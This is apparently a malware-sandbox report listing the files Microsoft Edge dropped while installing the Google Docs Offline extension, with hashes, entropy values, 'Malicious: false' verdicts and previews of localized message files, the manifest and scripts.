MD5:	90D8FB448CE9C0B9BA3D07FB8DE6D7EE
SHA1:	D8688CAC0245FD7B886D0DEB51394F5DF8AE7E84
SHA-256:	64B1E422B346AB77C5D1C77142685B3FF7661D498767D104B0C24CB36D0EB859
SHA-512:	6D58F49EE3EF0D3186EA036B868B2203FE936CE30DC8E246C32E90B58D9B18C624825419346B62AF8F7D61767DBE9721957280AA3C524D3A5DFB1A3A76C00742
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKAPA NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du .r offline. Om du vill anv.nda Google Dokument utan internetuppkoppling, .ppna inst.llningarna p. Google Dokuments startsida och aktivera offlinesynkronisering n.sta g.ng du .r ansluten till internet.".. },.. "explanationofflineenabled": {.. "message": "Du .r offline, men det g.r fortfarande att redigera tillg.ngliga filer eller skapa nya.".. },.. "extdesc": {.. "message": "Redigera, skapa och visa dina dokument, kalkylark och presentationer . helt utan internet.tkomst.".. },.. "extname": {.. "message": "Google Dokument Offline".. },.. "learnmore": {.. "message": "L.s mer".. },.. "popuphelptext": {.. "message": "Skriv, redigera och samarbeta .verallt, med eller utan internetanslutning.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2284_208444264\CRX_INSTALL\_locales\sw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	980
Entropy (8bit):	4.50673686618174
Encrypted:	false
SSDEEP:	12:1HASvgNHCBxNx1HMHyMhybK7QGU78oCuafIvfCBxex6EYPE5E1pOCSUJqONtCBh8:1HAGDQ3y0Q/Kjp/zhDoKMkeAT6dBaX
MD5:	D0579209686889E079D87C23817EDDD5
SHA1:	C4F99E66A5891973315D7F2BC9C1DAA524CB30DC
SHA-256:	0D20680B74AF10EF8C754FCDE259124A438DCE3848305B0CAF994D98E787D263
SHA-512:	D59911F91ED6C8FF78FD158389B4D326DAF4C031B940C399569FE210F6985E23897E7F404B7014FC7B0ACEC086C01CC5F76354F7E5D3A1E0DEDEF788C23C2978
Malicious:	false
Preview:	{.. "createnew": {.. "message": "FUNGUA MPYA".. },.. "explanationofflinedisabled": {.. "message": "Haupo mtandaoni. Ili uweze kutumia Hati za Google bila muunganisho wa intaneti, wakati utakuwa umeunganishwa kwenye intaneti, nenda kwenye sehemu ya mipangilio kwenye ukurasa wa kwanza wa Hati za Google kisha uwashe kipengele cha usawazishaji nje ya mtandao.".. },.. "explanationofflineenabled": {.. "message": "Haupo mtandaoni, lakini bado unaweza kubadilisha faili zilizopo au uunde mpya.".. },.. "extdesc": {.. "message": "Badilisha, unda na uangalie hati, malahajedwali na mawasilisho yako . yote bila kutumia muunganisho wa intaneti.".. },.. "extname": {.. "message": "Hati za Google Nje ya Mtandao".. },.. "learnmore": {.. "message": "Pata Maelezo Zaidi".. },.. "popuphelptext": {.. "message": "Andika hati, zibadilishe na ushirikiane na wengine popote ulipo, iwe una muunganisho wa intaneti au huna.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2284_208444264\CRX_INSTALL\_locales\ta\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1941
Entropy (8bit):	4.132139619026436
Encrypted:	false
SSDEEP:	24:1HAoTZwEj3YfVLiANpx96zjlXTwB4uNJDZwq3CP1B2xIZiIH1CYFIZ03SoFyxrph:JCEjWiAD0ZXkyYFyPND1L/I
MD5:	DCC0D1725AEAEAAF1690EF8053529601
SHA1:	BB9D31859469760AC93E84B70B57909DCC02EA65
SHA-256:	6282BF9DF12AD453858B0B531C8999D5FD6251EB855234546A1B30858462231A
SHA-512:	6243982D764026D342B3C47C706D822BB2B0CAFFA51F0591D8C878F981EEF2A7FC68B76D012630B1C1EB394AF90EB782E2B49329EB6538DD5608A7F0791FDCF5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....... .........".. },.. "explanationofflinedisabled": {.. "message": ".......... ........... .... ....... ..... Google ......... .........., ...... .... ........... ......... ...., Google ... ................... ................ ......, ........ ......... ..........".. },.. "explanationofflineenabled": {.. "message": ".......... ..........., .......... .......... .......... ......... ........... ...... .....

C:\Users\user\AppData\Local\Temp\scoped_dir2284_208444264\CRX_INSTALL\_locales\te\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1969
Entropy (8bit):	4.327258153043599
Encrypted:	false
SSDEEP:	48:R7jQrEONienBcFNBNieCyOBw0/kCcj+sEf24l+Q+u1LU4ljCj55ONipR41ssrNix:RjQJN1nBcFNBNlCyGcj+RXl+Q+u1LU4s
MD5:	385E65EF723F1C4018EEE6E4E56BC03F
SHA1:	0CEA195638A403FD99BAEF88A360BD746C21DF42
SHA-256:	026C164BAE27DBB36A564888A796AA3F188AAD9E0C37176D48910395CF772CEA
SHA-512:	E55167CB5638E04DF3543D57C8027B86B9483BFCAFA8E7C148EDED66454AEBF554B4C1CF3C33E93EC63D73E43800D6A6E7B9B1A1B0798B6BDB2F699D3989B052
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ...... ........ ......".. },.. "explanationofflinedisabled": {.. "message": ".... ........... ........ ......... ........ ....... Google Docs... .............., .... ............ ....... ..... ...... .... Google Docs .... ...... ............. ......, ........ ........ ... .......".. },.. "explanationofflineenabled": {.. "message": ".... ........... ......., .... .... ........ .......... .... ....... ..... ....... .... ..

C:\Users\user\AppData\Local\Temp\scoped_dir2284_208444264\CRX_INSTALL\_locales\th\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1674
Entropy (8bit):	4.343724179386811
Encrypted:	false
SSDEEP:	48:fcGjnU3UnGKD1GeU3pktOggV1tL2ggG7Q:f3jnDG1eUk0g6RLE
MD5:	64077E3D186E585A8BEA86FF415AA19D
SHA1:	73A861AC810DABB4CE63AD052E6E1834F8CA0E65
SHA-256:	D147631B2334A25B8AA4519E4A30FB3A1A85B6A0396BC688C68DC124EC387D58
SHA-512:	56DD389EB9DD335A6214E206B3BF5D63562584394D1DE1928B67D369E548477004146E6CB2AD19D291CB06564676E2B2AC078162356F6BC9278B04D29825EF0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": ".............. ............. Google .................................... ............................... Google ...... .................................................................".. },.. "explanationofflineenabled": {.. "message": "................................................................".. },.. "extdesc": {.. "message": "..... ..... ........

C:\Users\user\AppData\Local\Temp\scoped_dir2284_208444264\CRX_INSTALL\_locales\tr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1063
Entropy (8bit):	4.853399816115876
Encrypted:	false
SSDEEP:	24:1HAowYuBPgoMC4AGehrgGm7tJ3ckwFrXnRs5m:GYsPgrCtGehkGc3cvXr
MD5:	76B59AAACC7B469792694CF3855D3F4C
SHA1:	7C04A2C1C808FA57057A4CCEEE66855251A3C231
SHA-256:	B9066A162BEE00FD50DC48C71B32B69DFFA362A01F84B45698B017A624F46824
SHA-512:	2E507CA6874DE8028DC769F3D9DFD9E5494C268432BA41B51568D56F7426F8A5F2E5B111DDD04259EB8D9A036BB4E3333863A8FC65AAB793BCEF39EDFE41403B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN. OLU.TUR".. },.. "explanationofflinedisabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Google Dok.manlar'. .nternet ba.lant.s. olmadan kullanmak i.in, .nternet'e ba.lanabildi.inizde Google Dok.manlar ana sayfas.nda Ayarlar'a gidin ve .evrimd... senkronizasyonu etkinle.tirin.".. },.. "explanationofflineenabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Ancak, yine de mevcut dosyalar. d.zenleyebilir veya yeni dosyalar olu.turabilirsiniz.".. },.. "extdesc": {.. "message": "Dok.man, e-tablo ve sunu olu.turun, bunlar. d.zenleyin ve g.r.nt.leyin. T.m bu i.lemleri internet eri.imi olmadan yapabilirsiniz.".. },.. "extname": {.. "message": "Google Dok.manlar .evrimd...".. },.. "learnmore": {.. "message": "Daha Fazla Bilgi".. },.. "popuphelptext": {.. "message": ".nternet ba.lant.n.z olsun veya olmas.n, nerede olursan.z olun yaz.n, d.zenl

C:\Users\user\AppData\Local\Temp\scoped_dir2284_208444264\CRX_INSTALL\_locales\uk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1333
Entropy (8bit):	4.686760246306605
Encrypted:	false
SSDEEP:	24:1HAk9oxkm6H4KyGGB9GeGoxPEYMQhpARezTtHUN97zlwpEH7:VKU1GB9GeBc/OARETt+9/WCb
MD5:	970963C25C2CEF16BB6F60952E103105
SHA1:	BBDDACFEEE60E22FB1C130E1EE8EFDA75EA600AA
SHA-256:	9FA26FF09F6ACDE2457ED366C0C4124B6CAC1435D0C4FD8A870A0C090417DA19
SHA-512:	1BED9FE4D4ADEED3D0BC8258D9F2FD72C6A177C713C3B03FC6F5452B6D6C2CB2236C54EA972ECE7DBFD756733805EB2352CAE44BAB93AA8EA73BB80460349504
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........".. },.. "explanationofflinedisabled": {.. "message": ".. . ...... ....... ... ............. Google ........... ... ......... . .........., ......... . ............ .. ........ ........ Google .......... . ......... ......-............., .... ...... . .......".. },.. "explanationofflineenabled": {.. "message": ".. . ...... ......, ..... ... .... ...... .......... ........ ..... ... .......... .....".. },.. "extdesc": {.. "message": "........., ......... . ............ ........., .......... ....... .. ........... ... ....... .. ..........".. },.. "extname": {.. "message": "Goo

C:\Users\user\AppData\Local\Temp\scoped_dir2284_208444264\CRX_INSTALL\_locales\ur\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1263
Entropy (8bit):	4.861856182762435
Encrypted:	false
SSDEEP:	24:1HAl3zNEUhN3mNjkSIkmdNpInuUVsqNtOJDhY8Dvp/IkLzx:e3uUhQKvkmd+s11Lp1F
MD5:	8B4DF6A9281333341C939C244DDB7648
SHA1:	382C80CAD29BCF8AAF52D9A24CA5A6ECF1941C6B
SHA-256:	5DA836224D0F3A96F1C5EB5063061AAD837CA9FC6FED15D19C66DA25CF56F8AC
SHA-512:	FA1C015D4EA349F73468C78FDB798D462EEF0F73C1A762298798E19F825E968383B0A133E0A2CE3B3DF95F24C71992235BFC872C69DC98166B44D3183BF8A9E5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ......".. },.. "explanationofflinedisabled": {.. "message": ".. .. .... .... Google Docs .. .... ....... ..... ....... .... ..... .... ... .. .. ....... .. ..... ... .. Google Docs ... ... .. ....... .. ..... ... .. .... ...... ..... .. .. .....".. },.. "explanationofflineenabled": {.. "message": ".. .. .... ... .... .. ... ... ...... ..... ... ..... .. .... ... .. ... ..... ... .... ....".. },.. "extdesc": {.. "message": ".......... .......... ... ....... . .... ... ....... .. ..... .. .... ...... ..... .... ... ..... .......".. },.. "extname": {.. "message": "Google Docs .. ....".. },.. "learnmore": {..

C:\Users\user\AppData\Local\Temp\scoped_dir2284_208444264\CRX_INSTALL\_locales\vi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1074
Entropy (8bit):	5.062722522759407
Encrypted:	false
SSDEEP:	24:1HAhBBLEBOVUSUfE+eDFmj4BLErQ7e2CIer32KIxqJ/HtNiE5nIGeU+KCVT:qHCDheDFmjDQgX32/S/hI9jh
MD5:	773A3B9E708D052D6CBAA6D55C8A5438
SHA1:	5617235844595D5C73961A2C0A4AC66D8EA5F90F
SHA-256:	597C5F32BC999746BC5C2ED1E5115C523B7EB1D33F81B042203E1C1DF4BBCAFE
SHA-512:	E5F906729E38B23F64D7F146FA48F3ABF6BAED9AAFC0E5F6FA59F369DC47829DBB4BFA94448580BD61A34E844241F590B8D7AEC7091861105D8EBB2590A3BEE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "T.O M.I".. },.. "explanationofflinedisabled": {.. "message": "B.n .ang ngo.i tuy.n. .. s. d.ng Google T.i li.u m. kh.ng c.n k.t n.i Internet, .i ..n c.i ..t tr.n trang ch. c.a Google T.i li.u v. b.t ..ng b. h.a ngo.i tuy.n v.o l.n ti.p theo b.n ...c k.t n.i v.i m.ng Internet.".. },.. "explanationofflineenabled": {.. "message": "B.n .ang ngo.i tuy.n, tuy nhi.n b.n v.n c. th. ch.nh s.a c.c t.p c. s.n ho.c t.o c.c t.p m.i.".. },.. "extdesc": {.. "message": "Ch.nh s.a, t.o v. xem t.i li.u, b.ng t.nh v. b.n tr.nh b.y . t.t c. m. kh.ng c.n truy c.p Internet.".. },.. "extname": {.. "message": "Google T.i li.u ngo.i tuy.n".. },.. "learnmore": {.. "message": "Ti.m hi..u th.m".. },.. "popuphelptext": {.. "message": "Vi.t, ch.nh s.a v. c.ng t.c

C:\Users\user\AppData\Local\Temp\scoped_dir2284_208444264\CRX_INSTALL\_locales\zh_CN\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	879
Entropy (8bit):	5.7905809868505544
Encrypted:	false
SSDEEP:	12:1HASvgteHCBxNtSBXuetOrgIkA2OrWjMOCBxetSBXK01fg/SOiCSUEQ27e1CBhUj:1HAFsHtrIkA2jqldI/727eggcLk9pf
MD5:	3E76788E17E62FB49FB5ED5F4E7A3DCE
SHA1:	6904FFA0D13D45496F126E58C886C35366EFCC11
SHA-256:	E72D0BB08CC3005556E95A498BD737E7783BB0E56DCC202E7D27A536616F5EE0
SHA-512:	F431E570AB5973C54275C9EEF05E49E6FE2D6C17000F98D672DD31F9A1FAD98E0D50B5B0B9CF85D5BBD3B655B93FD69768C194C8C1688CB962AA75FF1AF9BDB6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ................ Google ....................".. },.. "explanationofflineenabled": {.. "message": ".............................".. },.. "extdesc": {.. "message": "...................... - ........".. },.. "extname": {.. "message": "Google .......".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "...............................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2284_208444264\CRX_INSTALL\_locales\zh_HK\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1205
Entropy (8bit):	4.50367724745418
Encrypted:	false
SSDEEP:	24:YWvqB0f7Cr591AhI9Ah8U1F4rw4wtB9G976d6BY9scKUrPoAhNehIrI/uIXS1:YWvl7Cr5JHrw7k7u6BY9trW+rHR
MD5:	524E1B2A370D0E71342D05DDE3D3E774
SHA1:	60D1F59714F9E8F90EF34138D33FBFF6DD39E85A
SHA-256:	30F44CFAD052D73D86D12FA20CFC111563A3B2E4523B43F7D66D934BA8DACE91
SHA-512:	D2225CF2FA94B01A7B0F70A933E1FDCF69CDF92F76C424CE4F9FCC86510C481C9A87A7B71F907C836CBB1CA41A8BEBBD08F68DBC90710984CA738D293F905272
Malicious:	false
Preview:	{"createnew":{"message":"\u5efa\u7acb\u65b0\u9805\u76ee"},"explanationofflinedisabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\u3002\u5982\u8981\u5728\u6c92\u6709\u4e92\u806f\u7db2\u9023\u7dda\u7684\u60c5\u6cc1\u4e0b\u4f7f\u7528\u300cGoogle \u6587\u4ef6\u300d\uff0c\u8acb\u524d\u5f80\u300cGoogle \u6587\u4ef6\u300d\u9996\u9801\u7684\u8a2d\u5b9a\uff0c\u4e26\u5728\u4e0b\u6b21\u9023\u63a5\u4e92\u806f\u7db2\u6642\u958b\u555f\u96e2\u7dda\u540c\u6b65\u529f\u80fd\u3002"},"explanationofflineenabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\uff0c\u4f46\u60a8\u4ecd\u53ef\u4ee5\u7de8\u8f2f\u53ef\u7528\u6a94\u6848\u6216\u5efa\u7acb\u65b0\u6a94\u6848\u3002"},"extdesc":{"message":"\u7de8\u8f2f\u3001\u5efa\u7acb\u53ca\u67e5\u770b\u60a8\u7684\u6587\u4ef6\u3001\u8a66\u7b97\u8868\u548c\u7c21\u5831\uff0c\u5b8c\u5168\u4e0d\u9700\u4f7f\u7528\u4e92\u806f\u7db2\u3002"},"extname":{"message":"\u300cGoogle \u6587\u4ef6\u300d\u96e2\u7dda\u7248"},"learnmore":{"message":"\u77ad\u89e3\u8a

C:\Users\user\AppData\Local\Temp\scoped_dir2284_208444264\CRX_INSTALL\_locales\zh_TW\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	843
Entropy (8bit):	5.76581227215314
Encrypted:	false
SSDEEP:	12:1HASvgmaCBxNtBtA24ZOuAeOEHGOCBxetBtMHQIJECSUnLRNocPNy6CBhU5OGg1O:1HAEfQkekYyLvRmcPGgzcL2kx5U
MD5:	0E60627ACFD18F44D4DF469D8DCE6D30
SHA1:	2BFCB0C3CA6B50D69AD5745FA692BAF0708DB4B5
SHA-256:	F94C6DDEDF067642A1AF18D629778EC65E02B6097A8532B7E794502747AEB008
SHA-512:	6FF517EED4381A61075AC7C8E80C73FAFAE7C0583BA4FA7F4951DD7DBE183C253702DEE44B3276EFC566F295DAC1592271BE5E0AC0C7D2C9F6062054418C7C27
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".....".. },.. "explanationofflinedisabled": {.. "message": ".................. Google ................ Google .................".. },.. "explanationofflineenabled": {.. "message": ".........................".. },.. "extdesc": {.. "message": ".............................".. },.. "extname": {.. "message": "Google .....".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "................................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2284_208444264\CRX_INSTALL\_locales\zu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	912
Entropy (8bit):	4.65963951143349
Encrypted:	false
SSDEEP:	24:YlMBKqLnI7EgBLWFQbTQIF+j4h3OadMJzLWnCieqgwLeOvKrCRPE:YlMBKqjI7EQOQb0Pj4heOWqeyaBrMPE
MD5:	71F916A64F98B6D1B5D1F62D297FDEC1
SHA1:	9386E8F723C3F42DA5B3F7E0B9970D2664EA0BAA
SHA-256:	EC78DDD4CCF32B5D76EC701A20167C3FBD146D79A505E4FB0421FC1E5CF4AA63
SHA-512:	30FA4E02120AF1BE6E7CC7DBB15FAE5D50825BD6B3CF28EF21D2F2E217B14AF5B76CFCC165685C3EDC1D09536BFCB10CA07E1E2CC0DA891CEC05E19394AD7144
Malicious:	false
Preview:	{"createnew":{"message":"DALA ENTSHA"},"explanationofflinedisabled":{"message":"Awuxhunyiwe ku-inthanethi. Ukuze usebenzise i-Google Amadokhumenti ngaphandle koxhumano lwe-inthanethi, iya kokuthi izilungiselelo ekhasini lasekhaya le-Google Amadokhumenti bese uvula ukuvumelanisa okungaxhunyiwe ku-inthanethi ngesikhathi esilandelayo lapho uxhunywe ku-inthanethi."},"explanationofflineenabled":{"message":"Awuxhunyiwe ku-inthanethi, kodwa usangakwazi ukuhlela amafayela atholakalayo noma udale amasha."},"extdesc":{"message":"Hlela, dala, futhi ubuke amadokhumenti akho, amaspredishithi, namaphrezentheshini \u2014 konke ngaphandle kokufinyelela kwe-inthanethi."},"extname":{"message":"I-Google Amadokhumenti engaxhumekile ku-intanethi"},"learnmore":{"message":"Funda kabanzi"},"popuphelptext":{"message":"Bhala, hlela, futhi hlanganyela noma yikuphi lapho okhona, unalo noma ungenalo uxhumano lwe-inthanethi."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir2284_208444264\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	11280
Entropy (8bit):	5.751992630887702
Encrypted:	false
SSDEEP:	192:RBG1G1UPkUj/86Op//Ier/2nsNLJtwg+K8HNnswuHEIIMuuqd7CKqvUpGTcjG:m8IEI4u8Rp
MD5:	250C48F4915DD4C0DFA7E7E021A4F066
SHA1:	092A98BF40D8C18280393BF3811A7DFA9A9FD326
SHA-256:	26D9B129339E2E2EB8E0223E16DB3CF0EA220AC0799480D462C236E6A425665E
SHA-512:	8B18E232992E55E8DA97AC46D7AACA061508341D1EADCEFF1E9D0677734DFA8B892AB44754A3AA100585F5B2F2562BC4F2D7103065050FFCD00F91D5915CE5E6
Malicious:	false
Preview:	[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiIxMjgucG5nIiwicm9vdF9oYXNoIjoiZ2NWZy0xWWgySktRNVFtUmtjZGNmamU1dzVIc1JNN1ZCTmJyaHJ4eGZ5ZyJ9LHsicGF0aCI6Il9sb2NhbGVzL2FmL21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJxaElnV3hDSFVNLWZvSmVFWWFiWWlCNU9nTm9ncUViWUpOcEFhZG5KR0VjIn0seyJwYXRoIjoiX2xvY2FsZXMvYW0vbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IlpPQWJ3cEs2THFGcGxYYjh4RVUyY0VkU0R1aVY0cERNN2lEQ1RKTTIyTzgifSx7InBhdGgiOiJfbG9jYWxlcy9hci9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiUjJVaEZjdTVFcEJfUUZtU19QeGstWWRrSVZqd3l6WEoxdURVZEMyRE9BSSJ9LHsicGF0aCI6Il9sb2NhbGVzL2F6L21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJZVVJ3Mmp4UU5Lem1TZkY0YS1xcTBzbFBSSFc4eUlXRGtMY2g4Ry0zdjJRIn0seyJwYXRoIjoiX2xvY2FsZXMvYmUvbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IjNmRm9XYUZmUHJNelRXSkJsMXlqbUlyRDZ2dzlsa1VxdzZTdjAyUk1oVkEifSx7InBhdGgiOiJfbG9jYWxlcy9iZy9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiSXJ3M3RIem9xREx6bHdGa0hjTllOWFoyNmI0WWVwT2t4ZFN

C:\Users\user\AppData\Local\Temp\scoped_dir2284_208444264\CRX_INSTALL\dasherSettingSchema.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	854
Entropy (8bit):	4.284628987131403
Encrypted:	false
SSDEEP:	12:ont+QByTwnnGNcMbyWM+Q9TZldnnnGGxlF/S0WOtUL0M0r:vOrGe4dDCVGOjWJ0nr
MD5:	4EC1DF2DA46182103D2FFC3B92D20CA5
SHA1:	FB9D1BA3710CF31A87165317C6EDC110E98994CE
SHA-256:	6C69CE0FE6FAB14F1990A320D704FEE362C175C00EB6C9224AA6F41108918CA6
SHA-512:	939D81E6A82B10FF73A35C931052D8D53D42D915E526665079EEB4820DF4D70F1C6AEBAB70B59519A0014A48514833FEFD687D5A3ED1B06482223A168292105D
Malicious:	false
Preview:	{. "type": "object",. "properties": {. "allowedDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Allow users to enable Docs offline for the specified managed domains.",. "description": "Users on managed devices will be able to enable docs offline if they are part of the specified managed domains.". },. "autoEnabledDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Auto enable Docs offline for the specified managed domains in certain eligible situations.",. "description": "Users on managed devices, in certain eligible situations, will be able to automatically access and edit recent files offline for the managed domains set in this property. They can still disable it from Drive settings.". }. }.}.

C:\Users\user\AppData\Local\Temp\scoped_dir2284_208444264\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2525
Entropy (8bit):	5.417833205646285
Encrypted:	false
SSDEEP:	24:1HEZ4WPoolELb/KxktGw3VwELb/4iL2QDkUpvdz1xxy/Atj1K9yiVvQe:WdP5aLTKQGwlTLT4oRvvxs/APKgiVb
MD5:	236D2DD305D64C2B6ABD232ED53270DF
SHA1:	9F6885E95FBC4213631F0B0EA49C803D07D34136
SHA-256:	2A4D526B9D1C8665427FB9E0DA58D16FDDE382DD74C1258941B18701EF7880C3
SHA-512:	B76AF22153F79BCA2429A23746A62A430A521E952E7F94936648ECFD25AFDD9801ACBF6FD16941918A4FEDE39DE747AB6C6336BC86CA74384920AF7E815DB855
Malicious:	false
Preview:	{.. "author": {.. "email": "docs-hosted-app-own@google.com".. },.. "background": {.. "service_worker": "service_worker_bin_prod.js".. },.. "content_capabilities": {.. "matches": [ "https://docs.google.com/", "https://drive.google.com/", "https://drive-autopush.corp.google.com/", "https://drive-daily-0.corp.google.com/", "https://drive-daily-1.corp.google.com/", "https://drive-daily-2.corp.google.com/", "https://drive-daily-3.corp.google.com/", "https://drive-daily-4.corp.google.com/", "https://drive-daily-5.corp.google.com/", "https://drive-daily-6.corp.google.com/", "https://drive-preprod.corp.google.com/", "https://drive-staging.corp.google.com/" ],.. "permissions": [ "clipboardRead", "clipboardWrite", "unlimitedStorage" ].. },.. "content_security_policy": {.. "extension_pages": "script-src 'self'; object-src 'self'".. },.. "default_locale": "en_US",.. "description": "__MSG_extDesc__",.. "externally_connectable": {.. "ma

C:\Users\user\AppData\Local\Temp\scoped_dir2284_208444264\CRX_INSTALL\offscreendocument.html

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	97
Entropy (8bit):	4.862433271815736
Encrypted:	false
SSDEEP:	3:PouV7uJL5XL/oGLvLAAJR90bZNGXIL0Hac4NGb:hxuJL5XsOv0EmNV4HX4Qb
MD5:	B747B5922A0BC74BBF0A9BC59DF7685F
SHA1:	7BF124B0BE8EE2CFCD2506C1C6FFC74D1650108C
SHA-256:	B9FA2D52A4FFABB438B56184131B893B04655B01F336066415D4FE839EFE64E7
SHA-512:	7567761BE4054FCB31885E16D119CD4E419A423FFB83C3B3ED80BFBF64E78A73C2E97AAE4E24AB25486CD1E43877842DB0836DB58FBFBCEF495BC53F9B2A20EC
Malicious:	false
Preview:	<!DOCTYPE html>.<html>.<body>. <script src="offscreendocument_main.js"></script>.</body>.</html>

C:\Users\user\AppData\Local\Temp\scoped_dir2284_208444264\CRX_INSTALL\offscreendocument_main.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3777)
Category:	dropped
Size (bytes):	98880
Entropy (8bit):	5.414989230634404
Encrypted:	false
SSDEEP:	1536:M+TW9bPq1M3ZOC0pJ/BjXf3Zk/7hry6fq66V3gr9KUw5SXfPxhZhGurH6c/V:WPLZwJJXf3ZvRV3gJKU/fP+urHRV
MD5:	DC93A1045D1AD8D7ADD06B93B2FE79E2
SHA1:	CAFCC8DB7F8E3FD2F8C1EFAC7B385D7616F55EA3
SHA-256:	D5CEB4449384CD2D7898C052B7B99417961880945FC4EAE80EBBAF8E24CC0A3E
SHA-512:	025F7103D1F7D607825BE916D0131C1E04B295EB562974A77F5A16E7BF40250B5608071779B420E4738F86F09A6F7C889469FA898268894FFFEEB7465C589E81
Malicious:	false
Preview:	'use strict';function aa(){return function(a){return a}}function ba(){return function(){}}function l(a){return function(){return this[a]}}function ca(a){return function(){return a}}var n;function da(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function fa(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=fa(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new Ty

C:\Users\user\AppData\Local\Temp\scoped_dir2284_208444264\CRX_INSTALL\page_embed_script.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	4.65176400421739
Encrypted:	false
SSDEEP:	6:2LGX86tj66rU8j6D3bWq2un/XBtzHrH9Mnj63LK603:2Q8KVqb2u/Rt3Onj1
MD5:	3AB0CD0F493B1B185B42AD38AE2DD572
SHA1:	079B79C2ED6F67B5A5BD9BC8C85801F96B1B0F4B
SHA-256:	73E3888CCBC8E0425C3D2F8D1E6A7211F7910800EEDE7B1E23AD43D3B21173F7
SHA-512:	32F9DB54654F29F39D49F7A24A1FC800DBC0D4A8A1BAB2369C6F9799BC6ADE54962EFF6010EF6D6419AE51D5B53EC4B26B6E2CDD98DEF7CC0D2ADC3A865F37D3
Malicious:	false
